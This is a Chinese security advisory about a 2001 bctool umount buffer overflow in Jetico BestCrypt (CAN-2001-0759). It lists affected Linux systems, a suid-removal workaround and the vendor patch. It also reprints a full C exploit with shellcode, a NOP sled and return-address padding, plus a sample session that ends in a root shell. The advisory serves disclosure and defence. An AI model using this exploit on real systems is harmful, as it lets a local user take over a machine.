安全研究

安全漏洞
BestCrypt BCTool UMount缓冲区溢出漏洞

发布日期:2001-06-14
更新日期:2001-06-18

受影响系统:

Jetico BestCrypt 0.8-1
Jetico BestCrypt 0.7
Jetico BestCrypt 0.6
   - Wirex Immunix OS 7.0
   - Wirex Immunix OS 6.2
   - Slackware Linux 7.1
   - Slackware Linux 7.0
   - S.u.S.E. Linux 7.1
   - S.u.S.E. Linux 7.0
   - S.u.S.E. Linux 6.4
   - RedHat Linux 7.1
   - RedHat Linux 7.0
   - RedHat Linux 6.2
   - MandrakeSoft Linux Mandrake 8.0
   - MandrakeSoft Linux Mandrake 7.2
   - Debian Linux 2.2
   - Connectiva Linux 6.0
   - Connectiva Linux graficas
   - Connectiva Linux ecommerce
   - Caldera eServer 2.3.1
   - Caldera eDesktop 2.4
   - Caldera OpenLinux 2.4
不受影响系统:

Jetico BestCrypt 0.8-2
描述:

BUGTRAQ  ID: 2875
CVE(CAN) ID: CAN-2001-0759

BestCrypt是由Jetico公司发布的一个兼容Windows和Linux操作系统的商业化文件系统
加密软件。

由于bctool在umount一个加密的文件系统时没有进行边界检查,导致本地用户可能通过
溢出攻击来提升权限,甚至是root权限。

<*来源:Carl Livitt (carl@ititc.com)
  主页:http://www.jetico.com
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Carl Livitt (carl@ititc.com)提供了如下测试代码:

/*
* Crippled version of the BestCrypt for Linux r00t exploit.
* Note: this will not work out-of-the-box. You'll need to adjust it.
* Script kiddies: don't even think about it.
*
* By Carl Livitt (carl@ititc.com)
*
* Usage example:

        foo:~ > id
        uid=500(carl) gid=100(users) groups=100(users)
        foo:~ > gcc -o bcexp bcexp.c
        foo:~ > ./bcexp
        foo:~ > bctool mount /path/to/container.jbc "$EGG"
        Enter password:
        foo:~ > bctool umount "$EGG"
        sh-2.04# id
        uid=0(root) gid=0(root) groups=0(root),1(bin),14(uucp),15(shadow)
        sh-2.04#

* RET value will need tinkered with, also you'll find that you need to
examine
* the call history quite closely to make this work ;-)  Have a look, you'll
see
* what I mean!
*
* You'll also notice there's a fair bit of redundant/messy/debug code in
here...
* This is intended to be an exploit, not an example of good coding.
*
*/
#include <stdio.h>

// Chopped up Aleph1 linux shellcode to work in a directory path.
char
shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0"

"\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd"
                 "\x80\xe8\xde\xff\xff\xff";

char shellpath[] = "/bin";
char shellprog[] = "/sh";

// not used any longer
unsigned long sp() { __asm__("movl %esp, %eax"); }

main(int argc, char **argv) {
        char *p,*p2, path[4096], shell[4096], command[4096], old[4096];
        int i,len, offs;
        unsigned long addr=0xbffff410;

        if(argc>1) {
                offs=atoi(argv[1]);
        } else {
                offs=0;
        }
        chdir("/tmp");
        addr+=offs;
        printf("Using addr = 0x%08x\n", addr);

        // build a series of NOPs + shellcode and  make directory
        p=path;
        for(i=0;i<162-strlen(shellcode);i++)
                *(p++)=(char)0x90;
        p2=shellcode;
        for(i=0;i<strlen(shellcode);i++)
                *(p++)=*(p2++);
        *p=0;
        strcpy(old, path);
        sprintf(command,"mkdir \"%s\"", path);
        system(command);

        // add the path to the shell to the shellcode-cum-path
        for(i=0;i<strlen(shellpath);i++)
                *(p++)=shellpath[i];
        *p=0;
        sprintf(command,"mkdir \"%s\"", path);
        system(command);

        // add the name of the shell to the shellcode-cum-path
        for(i=0;i<strlen(shellprog);i++)
                *(p++)=shellprog[i];
        *p=0;
        printf("strlen(path)=%d\n", strlen(path));
        sprintf(command,"mkdir \"%s\"", path);
        system(command);

        // pad out the buffer with our RET address
        for(i=0;i<172;i++)
        {
                *(p++)=(char)(addr>>16)&0xff;
                *(p++)=(char)(addr>>24)&0xff;
                *(p++)=(char)addr&0xff;
                *(p++)=(char)(addr>>8)&0xff;
        }
        addr=(unsigned long)*(p-4);
        printf("ADDRESS: 0x%x\n", addr);
        *p=0;
        printf("strlen(path)=%d\n", strlen(path));
        sprintf(command,"mkdir \"%s\"", path);
        system(command);

        // set environment variable and spawn a fresh shell
        setenv("EGG",path,1);
        system("/bin/bash");
}

建议:

暂时去掉bctool的suid root属性。
# chmod a-s bctool

厂商补丁:

Jetico BestCrypt 0.8-2已经解决了这个安全问题:

http://www.jetico.com/download.htm



浏览次数:4081
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障